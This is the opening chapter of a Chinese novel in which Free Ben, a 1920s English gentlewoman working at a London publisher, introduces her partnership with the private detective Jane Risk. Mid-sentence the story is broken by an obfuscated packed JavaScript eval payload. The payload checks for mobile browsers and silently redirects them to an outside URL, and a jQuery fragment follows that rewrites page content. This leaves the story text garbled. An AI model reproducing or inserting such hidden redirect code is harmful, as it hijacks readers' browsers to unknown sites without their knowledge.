我叫弗瑞·本(Free Ben),一位……额,曾经被认为前途光明的英国中产阶级未婚女性。
是的,我知道我的名字很独特。
“自由”。一个充满美好期许的词,但在我二十七年的人生中,我很少真正拥有它。
我出生在萨罗郡一个体面的家族。
我的父亲是位受人尊敬的议员,母亲则是一位将社交季日程表奉若圭臬的淑女典范。
我接受了所有“符合身份”的教育,流利的法语,得体的钢琴演奏,优雅的餐桌礼仪,以及如何在下午茶会上进行令人愉悦的闲谈。
按照家族的安排,我此刻应该是一位体面绅士的妻子,在切尔西或肯辛顿拥有属于自己和丈夫的小宅邸,忙于慈善委员会,育儿室和家庭的事务,而不是……
而不是像现在这样。
单身至今!追逐所谓的自由与正义。
在我循规蹈矩的表象下,那颗被“自由”命名的心,始终藏着一丝不安分的躁动。
最大的“叛逆”,或者说,我为自己争取的,微不足道的“自由”,发生在我毕业那年。
当父母殷切地为我引荐“门当户对”的年轻绅士时,我鼓起生平最大的勇气,拒绝了那条铺满玫瑰(也可能是荆棘)的婚姻之路。
“我想去工作,父亲。”
我记得自己声音不大,但异常清晰地说出这句话时,书房里那令人窒息的寂静。
母亲用手帕捂住了嘴唇,父亲镜片后的目光充满了不解和失望。
那是一次艰难的交锋,最终,或许是出于对我名字“自由”的最后一点尊重,或许是认为这份“任性”终会在现实中碰壁,他们勉强默许了。
于是,我来到了伦敦,在梅菲尔区一家颇有名望但规模不大的艺术出版社找到了一份编辑助理的工作。
工作内容和“自由”并不相称。
主要是校对精美画册上的文字,整理作家晦涩难懂的笔记,还有……对,打字,规规矩矩的坐在打字机面前打字。
薪水微薄,仅够支撑我租一间虽整洁但远谈不上宽敞的小公寓。
在家族眼中,这无疑是“落魄”了。
母亲的信中总是不忘提醒,“弗瑞,亲爱的,淑女的本分不在于在办公室里消磨时光……”偶尔的家庭聚会,亲戚们带着怜悯或不解的目光也让我如坐针毡。
但我坚持着。
这份工作是我亲手选择的,是我对抗那个被安排好的“自由”人生的微弱宣言。
即使这份“自由”带着清贫的苦涩和孤独的重量,我也紧握着它。
人总会为自己没有涉足的世界充满好奇。
但我没有勇气再往前一步。
离开这个虽不完美却熟悉安全的“独立”巢穴?
那需要更大的胆量,而我似乎已经在那次反抗中用尽了力气。
哦…亲爱的读者,请原谅我这点略带感伤的回忆。
因为当我此刻落笔,试图记录这个故事时,我的一切早已天翻地覆。
当然,我并不讨厌,或者说,我乐意之至,甚至带着一种近乎眩晕的解脱感。
这翻天覆地的变化,归功于遇见的一位无比独特的女性。
简·里斯克(Jane Risk)小姐。一位私家侦探。
她的生活,与我截然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973573|177843||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
相反。
它张扬,混乱,充满了意想不到的转折,时常在生与死的锋利边缘起舞。
而我,弗瑞·本,这个习惯了在规则框架内寻求一丝喘息空间的前中产阶级小姐,竟有幸成为了她的朋友,还有……额,搭档。
我想,我应该把她这些独特得足以让我的父母晕厥过去的经历记录下来。
“为什么不呢?亲爱的弗瑞,”
简叼着她的细长烟卷(里面装的通常是气味奇特的草药,而非上流社会的雪茄),慵懒地陷在她那张堆满案卷,几乎看不出原色的旧沙发里,浅绿色的眼睛带着促狭的笑意,扫过我身上那件虽然浆洗得笔挺但显然与她环境格格不入的Flapper裙。
“你肯定会把这些平平无奇的东西写得极有意义。”
简总是这样,她意识不到她的生活本身就像一场在贫民窟酒馆上演的歌剧,充满了粗粝的真实和惊心动魄的高潮,独特得让任何习惯了沙龙和下午茶会的人目瞪口呆。
她总觉得自己经历的都是些“日常琐事”。
所以,我尽力在这里写一写,用我或许带着点“淑女腔调”但力求真诚的笔触。
这是里斯克小姐的奇妙故事。
对了,送给正在看故事的里斯克小姐。
“靠近你,就靠近了危险与自由。而我乐意于此。”
那么,让我想想,这个故事应该从哪里开始呢?
就从1922年夏末,我22岁的时候,伦敦一个阴郁沉闷的星期四开始说起吧。
那是糟糕且混乱到足以粉碎我所有体面伪装的一天。
也是我遇见简·里斯克的那一天。